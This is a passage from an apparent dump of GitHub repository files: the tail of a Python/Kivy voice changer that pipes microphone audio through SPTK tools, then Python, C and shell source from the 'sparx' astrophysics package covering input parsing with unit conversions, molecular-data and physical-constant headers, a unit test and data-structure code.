__init__(self, **kwargs):\n super(SoundWidget, self).__init__(**kwargs)\n # スクリプトの絶対パスを入手\n self.dir = os.path.dirname(os.path.abspath(__name__))\n # それに対してSPTKを結合\n self.path = self.dir + \"\\SPTK\\\\bin\"\n # 一時保存フォルダ。まだ使う予定がない。\n self.saveDir = \"./save/filename\"\n\n # 音声系の基礎設定\n self.chunk = 1024 * 8\n self.rate = 16000\n self.channels = 1\n\n # 録音用\n self.p = pyaudio.PyAudio()\n self.stream = self.p.open( format=pyaudio.paInt16,\n channels=self.channels,\n rate=self.rate,\n input=True,\n output=True,\n frames_per_buffer=self.chunk)\n\n # 使用(しないこともある)コマンド群\n self.gwaves = self.get_cmd(\"gwaves\")\n self.xgr = self.get_cmd(\"xgr\")\n self.raw2wav = self.get_cmd(\"rawtowav\")\n self.bcut = self.get_cmd(\"bcut\")\n self.x2x = self.get_cmd(\"x2x\")\n self.pitch = self.get_cmd(\"pitch\")\n self.frame = self.get_cmd(\"frame\")\n self.window = self.get_cmd(\"window\")\n self.mcep = self.get_cmd(\"mcep\")\n self.sopr = self.get_cmd(\"sopr\")\n self.excite = self.get_cmd(\"excite\")\n self.mlsadf = self.get_cmd(\"mlsadf\")\n self.clip = self.get_cmd(\"clip\")\n\n # 一時保存のファイル群\n self.raw_file = \"./save/tmp.raw\"\n self.pitch_file = \"./save/tmp.pitch\"\n self.mcep_file = \"./save/tmp.mcep\"\n\n Clock.schedule_interval(self.update, 1.0/60.0)\n\n\n def get_cmd(self, cmd):\n command = self.path + \"\\{cmd}.exe\".format(cmd=cmd)\n return command\n\n\n def call_cmd(self, cmd):\n subprocess.call(cmd, shell=True)\n\n\n def record(self):\n fp = open(self.raw_file, \"wb\")\n data = self.stream.read(self.chunk)\n fp.write(data)\n fp.close()\n\n\n def extract_pitch(self):\n cmd = \"{x2x} +sf {raw_file} | {pitch} -a 1 -s 16 -p 80 > {pitch_file}\".format(x2x=self.x2x, raw_file=self.raw_file, pitch=self.pitch, pitch_file=self.pitch_file)\n self.call_cmd(cmd)\n\n\n def extract_mcep(self):\n cmd = \"{x2x} +sf {raw_file} | {frame} -p 80 | {window} | {mcep} -m 25 -a 0.42 > {mcep_file}\".format(x2x=self.x2x, raw_file=self.raw_file, frame=self.frame, window=self.window, mcep=self.mcep, mcep_file=self.mcep_file)\n self.call_cmd(cmd)\n\n\n def change_pitch_voice(self):\n cmd = \"{sopr} -m {pitch_var} {pitch_file} | {excite} -p 80 | {mlsadf} -m 25 -a 0.1 -p 80 {mcep_file} | {clip} -y -32000 32000 | {x2x} +fs > {raw_file}\".format(sopr=self.sopr, pitch_file=self.pitch_file, pitch_var=self.pitch_var, excite=self.excite, mlsadf=self.mlsadf, mcep_file=self.mcep_file, clip=self.clip, x2x=self.x2x, raw_file=self.raw_file)\n self.call_cmd(cmd)\n\n\n def play(self):\n f = open(self.raw_file, \"rb\")\n data = f.read()\n f.close()\n self.stream.write(data)\n\n\n def start_voice_change(self):\n if self.voice_switch:\n self.record()\n self.extract_pitch()\n self.extract_mcep()\n self.change_pitch_voice()\n self.play()\n\n\n def switch(self):\n if self.voice_switch:\n self.voice_switch = False\n else:\n self.voice_switch = True\n\n\n def down_pitch(self):\n self.pitch_var -= 0.1\n if self.pitch_var <= 0:\n self.pitch_var = 0.0\n self.pitch_var = round(self.pitch_var, 2)\n\n\n def up_pitch(self):\n self.pitch_var += 0.1\n if self.pitch_var >= 2.0:\n self.pitch_var = 2.0\n self.pitch_var = round(self.pitch_var, 2)\n\n\n def update(self, dt):\n self.start_voice_change()\n\n\n\nclass SoundApp(App):\n\n def build(self):\n soundWidget = SoundWidget()\n return SoundWidget()\n\n\nif __name__ == \"__main__\":\n SoundApp().run()\n" } ]
4
cinchurge/sparx
https://github.com/cinchurge/sparx
1f85db3f44cddbf35eee63be3bf2e2d780803835
d750bc57543e066744c173aa363fe4f7c1ad9248
3beb3db5af5261702697e2a953030fea2d353131
refs/heads/master
2016-09-23T18:47:19.606203
2014-12-01T08:39:11
2014-12-01T08:39:11
22,620,452
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5822784900665283, "alphanum_fraction": 0.594936728477478, "avg_line_length": 10.285714149475098, "blob_id": "f65a2ca6d8578fd752fe82808992c478843cf7ff", "content_id": "ce506af1efead409dc148056acb58194c9533db4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 79, "license_type": "no_license", "max_line_length": 33, "num_lines": 7, "path": "/bin/sparx-unittest", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\nunitdir=$1\n\nfor i in ${unitdir}/test_*.py; do\n python $i\ndone\n" }, { "alpha_fraction": 0.5886301398277283, "alphanum_fraction": 0.6128592491149902, "avg_line_length": 20.561086654663086, "blob_id": "1365a38894535a5b22c74548d67d4e6fdda94871", "content_id": "a0f16e8669ce2211200417e60c9853aa9917d478", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9534, "license_type": "no_license", "max_line_length": 97, "num_lines": 442, "path": "/lib/sparx/inputs.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "##\n## This module handles most things related to sparx inputs\n##\n\n# Some necessary imports\nfrom sparx import MOLEC_LIST\nfrom sparx.grid import GEOM_DICT\nfrom sparx.physics import Const as C, Units as U\nfrom sparx.utils import MPI_RANK, MPI_SIZE\nfrom sys import maxint, modules\nfrom os.path import exists\n\n##\n## Global Inputs dictionary\n##\nINP_DICT = {}\n\n##\n## Reset inputs\n##\ndef reset_inputs():\n\tINP_DICT.clear()\n\treturn\n\n##\n## Recursive inputs convertor\n##\ndef convert_input(format, input):\n\t# This function recursively converts input according to format,\n\t# which may be a list of types. e.g. [Angle, Length, Velo]\n\tif type(format) is list:\n\t\t# List type, build list\n\t\tvalue = []\n\t\tn = len(format)\n\t\tif n == 1:\n\t\t\tfor i in range(len(input)):\n\t\t\t\tvalue.append(convert_input(format[0], input[i]))\n\t\telif n > 1:\n\t\t\tfor i in range(n):\n\t\t\t\tvalue.append(convert_input(format[i], input[i]))\n\t\telse:\n\t\t\traise Exception, \"Length of format list is 0\"\n\telse:\n\t\tvalue = format(input)\n\treturn value\n\n##\n## Master type class\n##\nclass KeyType:\n\t# This class is only meant to be inherited\n\tpass\n\n##\n## Physical values with units\n##\nclass PhysVal(KeyType):\n\tdef __init__(self, name, unit, **convs):\n\t\tself.name = name\n\t\tself.pattern = \"([-+]?[0-9]*\\.?[0-9]+([eE][-+]?[0-9]*\\.?[0-9]+)?)([a-zA-Z][-+0-9a-zA-Z^]*)\"\n\t\tself.unit = unit\n\t\tself.convs = {}\n\t\tfor key in convs:\n\t\t\tself.convs[key] = convs[key]\n\n\tdef __call__(self, string):\n\t\tif type(string) is not str:\n\t\t\traise Exception, \"Input value '%s' should be value-unit pair\" % string\n\n\t\tfrom re import match\n\t\t# Try to match input to pattern\n\t\tm = match(self.pattern, string)\n\t\tif m is None:\n\t\t\traise Exception, \"Input value '%s' should be value-unit pair\" % string\n\t\telse:\n\t\t\t# groups()[0] is number\n\t\t\t# groups()[1] is exponent\n\t\t\t# groups()[2] is unit\n\t\t\tvalue = float(m.groups()[0])\n\t\t\tunit = m.groups()[2]\n\t\t\tif len(unit) > 0:\n\t\t\t\t# arg contains unit, see if it is understandable\n\t\t\t\tif unit in self.convs:\n\t\t\t\t\t# Convert to appropriate value\n\t\t\t\t\tvalue *= self.convs[unit]\n\t\t\t\telse:\n\t\t\t\t\traise Exception, \"'%s' is not a valid unit for type '%s'\" % (unit, self.name)\n\t\t\treturn value\n\n\tdef __repr__(self):\n\t\treturn self.name\n\nclass Generic(KeyType):\n\tdef __init__(self, name):\n\t\tself.name = name\n\n\tdef __repr__(self):\n\t\treturn self.name\n\nclass ClassInteger(Generic):\n\tdef __call__(self, arg):\n\t\tvalue = int(arg)\n\t\treturn value\n\n\t__doc__ = \"Integers in the range [%d, %d]\"%(-maxint, maxint)\n\nclass ClassPosInt(Generic):\n\tdef __call__(self, arg):\n\t\tvalue = int(arg)\n\t\tif value <= 0:\n\t\t\traise Exception, \"Values must be > 0\"\n\t\treturn value\n\n\t__doc__ = \"Positive integers in the range [1, %d]\"%maxint\n\nclass ClassIndex(Generic):\n\tdef __call__(self, arg):\n\t\tvalue = int(arg)\n\t\tif value < 0:\n\t\t\traise Exception, \"Values must be >= 0\"\n\t\treturn value\n\n\t__doc__ = \"Integers in the range [0, %d]\"%maxint\n\nclass ClassFloat(Generic):\n\tdef __call__(self, arg):\n\t\tvalue = float(arg)\n\t\treturn value\n\n\t__doc__ = \"Floating point values in the range (-inf, inf)\"\n\nclass ClassPosFlt(Generic):\n\tdef __call__(self, arg):\n\t\tvalue = float(arg)\n\t\tif value <= 0:\n\t\t\traise Exception, \"Values must be > 0\"\n\t\treturn value\n\n\t__doc__ = \"Positive floating point values in the range (0, inf)\"\n\nclass ClassFraction(Generic):\n\tdef __call__(self, arg):\n\t\tvalue = float(arg)\n\t\tif value < 0.0 or value > 1.0:\n\t\t\traise Exception, \"Values must be >= 0 and <= 1\"\n\t\treturn value\n\n\t__doc__ = \"Floating point values in the range [0.0, 1.0]\"\n\nclass ClassNewFile(Generic):\n\tdef __call__(self, arg):\n\t\t'''If arg exists as a file, raise an exception, otherwise return\n\t\targ as a string'''\n\t\tif MPI_RANK == 0 and exists(arg):\n\t\t\traise Exception, \"File '%s' already exists\" % arg\n\t\telse:\n\t\t\treturn arg\n\n\t__doc__ = \"Filename of a new (non-existing) file\"\n\nclass ClassOldFile(Generic):\n\tdef __call__(self, arg):\n\t\tif not exists(arg):\n\t\t\traise Exception, \"File '%s' does not exist\" % arg\n\t\telse:\n\t\t\treturn arg\n\n\t__doc__ = \"Filename of an existing file\"\n\nclass ClassMolec(Generic):\n\tdef __call__(self, arg):\n\t\tif arg in MOLEC_LIST:\n\t\t\treturn arg\n\t\telse:\n\t\t\traise Exception, \"Molecular data for '%s' is not available. Try one of the following:\\n\"%arg+\\\n\t\t\t\t\t \", \".join([\"'%s'\"%i for i in MOLEC_LIST])\n\nclass ClassGeom(Generic):\n\tdef __call__(self, arg):\n\t\tif arg in GEOM_DICT:\n\t\t\treturn arg\n\t\telse:\n\t\t\traise Exception, \"'%s' is not a valid coordinate system\"\n\n\t__doc__ = \"Coordinate system of the model, valid options are:\\n\"+\\\n\t\t \"\\n\".join([\" %s\"%i for i in GEOM_DICT])\n\nclass ClassPowerLaw:\n\t# y = y0 * (x / x0)**p\n\tdef __init__(self, name, x0f, y0f, pf):\n\t\tself.name = str(name)\n\t\tself.x0f = x0f\n\t\tself.y0f = y0f\n\t\tself.pf = pf\n\t\tself.__doc__ = \\\n\t\t\"A powerlaw of the form\\n\\n\"+\\\n\t\t\" y = y0 * (x / x0)**p\\n\\n\"+\\\n\t\t\"which must be specified as\\n\"+\\\n\t\t\" [x0, y0, p]\\n\"+\\\n\t\t\"with units of\\n\"+\\\n\t\t\" [%s, %s, %s]\"%(str(self.x0f), str(self.y0f), str(pf))\n\n\tdef __call__(self, arg):\n\t\tvalue = eval(arg)\n\t\tx0 = self.x0f(value[0])\n\t\ty0 = self.y0f(value[1])\n\t\tp = self.pf(value[2])\n\t\treturn \"powerlaw,%10.3e,%10.3e,%10.3e\" % (x0, y0, p)\n\n\tdef __repr__(self):\n\t\treturn repr(self.format)\n\nclass ClassBool(Generic):\n\tdef __call__(self, arg):\n\t\treturn bool(eval(arg))\n\n\t__doc__ = \"\"\"Boolean truth value (True or False)\"\"\"\n\n##\n## Type container\n##\nclass Type:\n\t# Various angular units in radians\n\tAngle = PhysVal(\"Angle\", \"rad\")\n\tAngle.convs = {\n\t\t'asec': C.pi / (180.0 * 60.0 * 60.0),\n\t\t'amin': C.pi / (180.0 * 60.0),\n\t\t'deg': C.pi / 180.0,\n\t\t'rad': 1.0,\n\t\t'pi': C.pi\n\t}\n\n\t# Various velocity units in m/s\n\tVelo = PhysVal(\"Velo\", \"ms^-1\")\n\tVelo.convs = {\n\t\t'cms^-1': 1.0e-2,\n\t\t'ms^-1': 1.0,\n\t\t'kms^-1': 1.0e3,\n\t\t'c': C.c,\n\t}\n\n\t# Length units in meters\n\tLength = PhysVal(\"Length\", \"m\")\n\tLength.convs = {\n\t\t'A': 1.0e-10,\n\t\t'nm': 1.0e-9,\n\t\t'um': 1.0e-6,\n\t\t'mm': 1.0e-3,\n\t\t'cm': 1.0e-2,\n\t\t'm': 1.0,\n\t\t'km': 1.0e3,\n\t\t'Rearth': U.Rearth,\n\t\t'Rsun': U.Rsun,\n\t\t'au': U.au,\n\t\t'ly': 9.4605284e15,\n\t\t'pc': U.pc,\n\t\t'kpc': U.pc * 1.0e3,\n\t\t'Mpc': U.pc * 1.0e6,\n\t\t'Gpc': U.pc * 1.0e9\n\t}\n\n\t# Mass units in kg\n\tMass = PhysVal(\"Mass\", \"kg\")\n\tMass.convs = {\n\t\t'amu': U.amu,\n\t\t'me': C.me,\n\t\t'mp': C.mp,\n\t\t'g': 1.0e-3,\n\t\t'kg': 1.0,\n\t\t'Msun': U.Msun,\n\t}\n\n\t# Number density units in m^-3\n\tNumDens = PhysVal(\"NumDens\", \"m^-3\")\n\tNumDens.convs = {\n\t\t'cm^-3': 1.0e6,\n\t\t'm^-3': 1.0\n\t}\n\n\t# Number density units in m^-3\n\tTemp = PhysVal(\"Temp\", \"K\")\n\tTemp.convs = {\n\t\t'K': 1.0\n\t}\n\n\t# Frequency units in Hz\n\tFreq = PhysVal(\"Freq\", \"Hz\")\n\tFreq.convs = {\n\t\t'Hz': 1.0,\n\t\t'kHz': 1.0e3,\n\t\t'MHz': 1.0e6,\n\t\t'GHz': 1.0e9,\n\t\t'THz': 1.0e12\n\t}\n\n\t# Time units in s\n\tTime = PhysVal(\"Time\", \"s\")\n\tTime.convs = {\n\t\t'ns': 1.0e-9,\n\t\t'us': 1.0e-6,\n\t\t'ms': 1.0e-3,\n\t\t's': 1.0,\n\t\t'm': U.minute,\n\t\t'h': U.hour,\n\t\t'day': U.day,\n\t\t'yr': U.year,\n\t\t'Myr': 1e6 * U.year,\n\t\t'Gyr': 1e9 * U.year\n\t}\n\n\t# Opacity units in m^2 kg^-1\n\tOpacity = PhysVal('Opacity', \"m^2kg^-1\")\n\tOpacity.convs = {\n\t\t'cm^2g^-1': 0.1,\n\t\t'm^2kg^-1': 1.0,\n\t}\n\n\t# Luminosity in Js^-1\n\tLuminosity = PhysVal('Luminosity', \"Js^-1\")\n\tLuminosity.convs = {\n\t\t'Js^-1': 1.0,\n\t\t'Lsun': U.L_sun\n\t}\n\n\t### Generic types ###\n\t# Integer type\n\tInteger = ClassInteger(\"Integer\")\n\n\t# Positive integer type\n\tPosInt = ClassPosInt(\"PosInt\")\n\n\t# Index type\n\tIndex = ClassIndex(\"Index\")\n\n\t# Floating point type\n\tFloat = ClassFloat(\"Float\")\n\n\t# Powerlaw Index type\n\tPwrIndex = ClassFloat(\"PwrIndex\")\n\n\t# Positive floating point type\n\tPosFlt = ClassPosFlt(\"PosFlt\")\n\n\t# Fraction type\n\tFraction = ClassFraction(\"Fraction\")\n\n\t# NewFile type\n\tNewFile = ClassNewFile(\"NewFile\")\n\n\t# OldFile type\n\tOldFile = ClassOldFile(\"OldFile\")\n\n\t# Molec type\n\tMolec = ClassMolec(\"Molec\")\n\n\t# Geom type\n\tGeom = ClassGeom(\"Geom\")\n\n\t# Option type\n\tclass Option:\n\t\tdef __init__(self, lst):\n\t\t\tself.opts = convert_input([str], lst)\n\t\t\tself.optlist = \" or \".join([\"\\\"%s\\\"\"%i for i in self.opts])\n\n\t\tdef __call__(self, arg):\n\t\t\tif arg in self.opts:\n\t\t\t\treturn arg\n\t\t\telse:\n\t\t\t\traise Exception, \"'%s' is not a valid option. Try: \"+self.optlist\n\t\t\n\t\tdef __repr__(self):\n\t\t\treturn self.optlist\n\n\t# Custom type\n\tclass Custom:\n\t\tdef __init__(self, format, name=None, doc=None):\n\t\t\tself.name = name\n\t\t\tself.format = format\n\t\t\tself.__doc__ = \\\n\t\t\tstr(self.format)+\"\\n\"+str(doc)\n\n\t\tdef __call__(self, arg):\n\t\t\tvalue = convert_input(self.format, eval(arg))\n\t\t\treturn value\n\n\t\tdef __repr__(self):\n\t\t\treturn repr(self.format)\n\n\t# Frequency powerlaw for opacity\n\tKappFLaw = ClassPowerLaw(\"KappFLaw\", Freq, Opacity, PwrIndex)\n\n\t# Wavelength powerlaw for opacity\n\tclass ClassKappLLaw(ClassPowerLaw):\n\t\tdef __call__(self, arg):\n\t\t\tvalue = eval(arg)\n\t\t\tlambda0 = self.x0f(value[0])\n\t\t\tfreq0 = C.c / lambda0\n\t\t\tkapp0 = self.y0f(value[1])\n\t\t\tp = self.pf(value[2])\n\t\t\treturn \"powerlaw,%10.3e,%10.3e,%10.3e\" % (freq0, kapp0, p)\n\n\tKappLLaw = ClassKappLLaw(\"KappLLaw\", Length, Opacity, PwrIndex)\n\n\t# 'Optional' class for defining optional values\n\tclass Optional(KeyType):\n\t\tpass\n\n\t# Boolean value\n\tBool = ClassBool(\"Bool\")\n\n\n##\n## Keyword class\n##\nclass Key:\n\tdef __init__(self, name, typ, deflt, desc):\n\t\t# Name of keyword\n\t\tself.name = str(name)\n\n\t\t# Convertor for the keyword\n\t\tself.typ = typ\n\n\t\t# Description\n\t\tself.desc = str(desc)\n\n\t\t# Default value\n\t\tself.deflt = deflt\n\n\t\t# If default value is not none nor empty string,\n\t\t# test whether the default value can be converted\n\t\tif (self.deflt is not Type.Optional) and (self.deflt is not None):\n\t\t\ttry:\n\t\t\t\tdummy = self.typ(self.deflt)\n\t\t\texcept:\n\t\t\t\traise\n\n\tdef __call__(self, input):\n\t\t# Convert input (usually text) into corresponding value\n\t\ttry:\n\t\t\treturn self.typ(input)\n\t\texcept:\n\t\t\traise Exception, \"Error processing %s='%s'\" % (self.name, input)\n\n\n\n\n" }, { "alpha_fraction": 0.6481345891952515, "alphanum_fraction": 0.6547183394432068, "avg_line_length": 18.66666603088379, "blob_id": "8d2d27681250e8e2d1b255bdf410ddb3c1950115", "content_id": "d0b2e2c8b54f058981004a12e745f649e7c11e47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1367, "license_type": "no_license", "max_line_length": 68, "num_lines": 69, "path": "/src/molec.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __MOLEC_H__\n#define __MOLEC_H__\n\n/* This is part of the readout API for molecular data files\n * following the LAMDA format.\n */\n\n#define COLL_H2 1\n#define COLL_PH2 2\n#define COLL_OH2 3\n#define COLL_E 4\n#define COLL_H 5\n#define COLL_HE 6\n\ntypedef struct {\n size_t id;\n double E, g;\n char *qstate; /* Quantum state */\n\n} MolLev;\n\ntypedef struct {\n size_t id;\n size_t up, lo;\n double freq, A_ul, B_ul, B_lu;\n\n} MolTrRad;\n\ntypedef struct {\n size_t id;\n size_t up, lo;\n double *K_ul;\n\n} MolTrCol;\n\ntypedef struct {\n char *ref;\n int species;\n size_t ntr, ntmp;\n MolTrCol **tr;\n double *tmp;\n\n} MolColPart;\n\ntypedef struct {\n char *name, /* File name */\n *chemname, /* Chemical name */\n *qnum; /* Quantum numbers */\n double weight; /* Molecular weight */\n size_t nlev, nrad, ncol;\n MolLev **lev; /* Array of molecular levels */\n MolTrRad **rad; /* Array of radiative transitions */\n MolColPart **col; /* Array of collissional transitions */\n\n} Molec;\n\nMolec *Mol_Alloc(size_t nlev);\nvoid Mol_AllocRad(Molec *molec, size_t nrad);\nvoid Mol_AllocCol(Molec *molec, size_t ntmp, size_t ntr);\nvoid Mol_Free(void *ptr);\nvoid Mol_Fprintf(FILE *fp, const Molec *mol);\n\nMolec *Mol_ReadLamda(FILE *fp, const char *fname, const char *name);\n\nvoid Mol_FwriteBinary(const Molec *mol, FILE *fp);\nMolec *Mol_FreadBinary(FILE *fp);\n\n\n#endif\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6604774594306946, "alphanum_fraction": 0.663129985332489, "avg_line_length": 20.794116973876953, "blob_id": "9e497312f1694590bb4836f6b7d6c19c195bdd49", "content_id": "e4237a3f1c4e6c9841c75a966ef1f72eecf9742d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 754, "license_type": "no_license", "max_line_length": 72, "num_lines": 34, "path": "/lib/sparx/__init__.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "##\n## The main sparx module\n##\n\n# Some necessary imports\nimport os\nfrom math import sqrt, exp\n\n# Get root package directory\nROOT_DIR = os.path.realpath(os.path.dirname(__file__))\n\n##\n## List of available molecules\n##\nimport re\nMOLEC_DIR = ROOT_DIR+\"/data/molec\" # Used by C modules, DO NOT RENAME!\nMOLEC_LIST = []\nfor i in os.listdir(MOLEC_DIR):\n\tmatch = re.match(\"(.*).dat\", i)\n\tif match is not None:\n\t\tMOLEC_LIST.append(match.groups()[0])\nMOLEC_LIST.sort()\n\n##\n## List of available opacities\n##\nimport re\nKAPPA_DIR = ROOT_DIR+\"/data/opacity\" # Used by C modules, DO NOT RENAME!\nKAPPA_LIST = []\nfor i in os.listdir(KAPPA_DIR):\n\tmatch = re.match(\"(.*).tab\", i)\n\tif match is not None:\n\t\tKAPPA_LIST.append(match.groups()[0])\nKAPPA_LIST.sort()\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7214285731315613, "alphanum_fraction": 0.7214285731315613, "avg_line_length": 17.66666603088379, "blob_id": "d61da7cd8540fc12a72106df56dbc8a37d6cd0ee", "content_id": "824e570dc435de224fc80edb627cb804175d58b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 280, "license_type": "no_license", "max_line_length": 40, "num_lines": 15, "path": "/unit/test_pythoncapi.py", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "from unittest import TestCase\n\nclass Test_PythonCAPI(TestCase):\n\tdef setUp(self):\n\t\treturn\n\n\tdef tearDown(self):\n\t\treturn\n\n\tdef test_passargs(self):\n\t\tfrom sparx._sparx import test_passargs\n\t\ttest_str = \"abc\"\n\t\ta = test_passargs(test_str)\n\t\tself.assertEqual(a, test_str)\n\t\treturn\n" }, { "alpha_fraction": 0.5792104005813599, "alphanum_fraction": 0.6499250531196594, "avg_line_length": 40.574466705322266, "blob_id": "803b1b168bee227385674bb3dd9ab22e76c87f03", "content_id": "755e22618a7925f030c68486ef5cb91a57636b55", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4002, "license_type": "no_license", "max_line_length": 114, "num_lines": 94, "path": "/src/physics.h", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#ifndef __PHYSICS_H__\r\n#define __PHYSICS_H__\r\n\r\n#include <time.h>\r\n#include \"constants.h\"\r\n\r\n/* constants in MKS units */\r\n#define PHYS_CONST_MKS_LIGHTC\t CONSTANTS_MKS_LIGHT_C /* speed of light in vacuum [m s^-1] */\r\n#define PHYS_CONST_MKS_LIGHTCSQR CONSTANTS_MKS_LIGHT_CSQR /* speed of light in vacuum [m s^-1] */\r\n#define PHYS_CONST_MKS_PLANCKH\t CONSTANTS_MKS_PLANCK_H /* Planck's constant [J s] */\r\n#define PHYS_CONST_MKS_PLANCKHBAR CONSTANTS_MKS_PLANCK_HBAR /* Planck's constant divided by 2*PI [J s] */\r\n#define PHYS_CONST_MKS_BOLTZK\t CONSTANTS_MKS_BOLTZ_K /* Boltzmann's constant [J K^-1] */\r\n#define PHYS_CONST_MKS_GRAVG\t CONSTANTS_MKS_GRAV_G /* gravitational constant [N m^2/kg^2] */\r\n#define PHYS_CONST_MKS_STEFBOLTZ CONSTANTS_MKS_STEFBOLTZ_SIGMA /* Stefan-Boltzmann constant [W m^-2 K^4] */\r\n#define PHYS_CONST_MKS_RSUN\t CONSTANTS_MKS_R_SUN /* solar radius [m] (see Brown et al. (1998), ApJ 500 L195) */\r\n#define PHYS_CONST_MKS_MSUN\t CONSTANTS_MKS_M_SUN /* solar mass [kg] */\r\n#define PHYS_CONST_MKS_LSUN\t CONSTANTS_MKS_L_SUN /* solar luminosity [W] */\r\n#define PHYS_CONST_MKS_WHYDROGEN CONSTANTS_MKS_W_HYDROGEN\r\n#define PHYS_CONST_MKS_ECHARGE\t CONSTANTS_MKS_CHARGE_E /* elementary charge */\r\n\r\n/* constants in CGS units */\r\n#define PHYS_CONST_CGS_GRAVG\t 6.67e-8 /* gravitational constant [ gm^-1 cm^3 s^-2] */\r\n#define PHYS_CONST_CGS_LIGHTC\t 3.00e10 /* speed of light [ cm s^-1 ] */\r\n\r\n/* constants in units common to both MKS and CGS */\r\n#define PHYS_CONST_PI\t\t 3.14159265\r\n#define PHYS_CONST_TWOPI\t 6.28318530\r\n#define PHYS_CONST_2S2L2\t 2.35482 /* Factor to convert from Gaussian 1 sigma width to FWHM */\r\n#define PHYS_CONST_TCMB\t\t 2.725 /* CMB temperature [K] (see Mather et al. (1999), ApJ 512 511) */\r\n#define PHYS_CONST_GAS2DUST\t 100.0 /* galactic gas:dust ratio (see Devereux et al. (1990) ApJ 359 42) */\r\n\r\n/*\r\n * various unit conversion factors\r\n */\r\n/* angles -> [rad] */\r\n#define PHYS_UNIT_DEG\t\t 1.74532925000000E-02\r\n#define PHYS_UNIT_AMIN\t\t 2.90888208333333E-04\r\n#define PHYS_UNIT_ASEC\t\t 4.84813680555556E-06\r\n\r\n/* frequency -> [Hz] */\r\n#define PHYS_UNIT_GHZ\t\t 1.0E9\r\n#define PHYS_UNIT_MHZ\t\t 1.0E6\r\n\r\n/* time -> [s] */\r\n#define PHYS_UNIT_YEAR\t\t 31557600 /* number of seconds in a Julian year */\r\n#define PHYS_UNIT_DAY\t\t 86400\r\n#define PHYS_UNIT_HOUR\t\t 3600\r\n#define PHYS_UNIT_MINUTE\t 60\r\n#define PHYS_UNIT_NS\t\t 1.0E-9\r\n\r\n/* temperature -> [K] */\r\n#define PHYS_UNIT_K\t\t 1.0\r\n\r\n/* units in MKS */\r\n/* flux density */\r\n#define PHYS_UNIT_MKS_JY\t 1.0E-26 /* [W m^-2 Hz^-1] */\r\n\r\n/* Mass */\r\n#define PHYS_UNIT_MKS_AMU\t 1.66053873E-27 /* atomic mass unit [kg] */\r\n#define PHYS_UNIT_MKS_KG\t 1.0\r\n\r\n/* lengths -> [m] */\r\n#define PHYS_UNIT_MKS_AU\t 1.49598E11 /* astronomical unit [m] */\r\n#define PHYS_UNIT_MKS_LY\t 9.4605284E15 /* lightyear [m] */\r\n#define PHYS_UNIT_MKS_PC\t 3.08568025E16 /* parsec [m] */\r\n#define PHYS_UNIT_MKS_KM\t 1.0E3\r\n#define PHYS_UNIT_MKS_M\t\t 1.0\r\n#define PHYS_UNIT_MKS_CM\t 1.0E-2\r\n#define PHYS_UNIT_MKS_MM\t 1.0E-3\r\n#define PHYS_UNIT_MKS_UM\t 1.0E-6\r\n#define PHYS_UNIT_MKS_CC\t 1.0E-6\r\n#define PHYS_UNIT_MKS_PERCC\t 1.0E6\r\n#define PHYS_UNIT_MKS_MM\t 1.0E-3\r\n#define PHYS_UNIT_MKS_UM\t 1.0E-6\r\n#define PHYS_UNIT_MKS_NM\t 1.0E-9\r\n\r\n/* units in CGS */\r\n/* lengths -> [cm] */\r\n#define PHYS_UNIT_CGS_PC\t 3.08568025E18 /* parsec [cm] */\r\n#define PHYS_UNIT_CGS_LY\t 9.4605284E17 /* lightyear [cm] */\r\n#define PHYS_UNIT_CGS_AU\t 1.49598E13 /* astronomical unit [cm] */\r\n#define PHYS_UNIT_CGS_KM\t 1.0E5\r\n#define PHYS_UNIT_CGS_MM\t 1.0E-1\r\n#define PHYS_UNIT_CGS_UM\t 1.0E-4\r\n\r\ndouble Phys_DoppShiftFreq(double nu, double vel);\r\ndouble Phys_BrightTemp(double nu, double I_nu);\r\ndouble Phys_RayleighJeans(double nu, double T_k);\r\ndouble Phys_PlanckFunc(double nu, double T_k);\r\ndouble Phys_ThermLineWidth(double T_k, double m_a);\r\nvoid Phys_SecsToHMS(int t, int *hr, int *min, int *sec);\r\nchar *Phys_SecsToHMS_Str(int t);\r\n\r\n#endif\r\n" }, { "alpha_fraction": 0.4972195029258728, "alphanum_fraction": 0.49852797389030457, "avg_line_length": 19.039474487304688, "blob_id": "daf1a3884b74f338e12cf904970bb3dbfcb77f89", "content_id": "64d4412f313d2261be3ef86576304ffb7c8ebd4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3057, "license_type": "no_license", "max_line_length": 89, "num_lines": 152, "path": "/src/data_structs.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#include \"data_structs.h\"\n#include \"memory.h\"\n#include \"debug.h\"\n\n/*----------------------------------------------------------------------------*/\n\nDatINode *Dat_IList_NameLookup(DatINode *list, const char *name)\n{\n\tsize_t i;\n\n\tfor(i = 0; list[i].name; i++) {\n\t\tif(!strcmp(list[i].name, name))\n\t\t\treturn &list[i];\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nDatINode *Dat_IList_IdxLookup(DatINode *list, int idx)\n{\n\tsize_t i;\n\n\tfor(i = 0; list[i].name; i++) {\n\t\tif(list[i].idx == idx)\n\t\t\treturn &list[i];\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nLNode *Dat_Llst_Lookup(LNode *list, const char *name)\n/* Lookup LNode associated with name in a linked list of LNodes */\n{\n\tLNode *np;\n\n\tfor(np = list; np; np = np->next) {\n\t\tif(!strcmp(np->name, 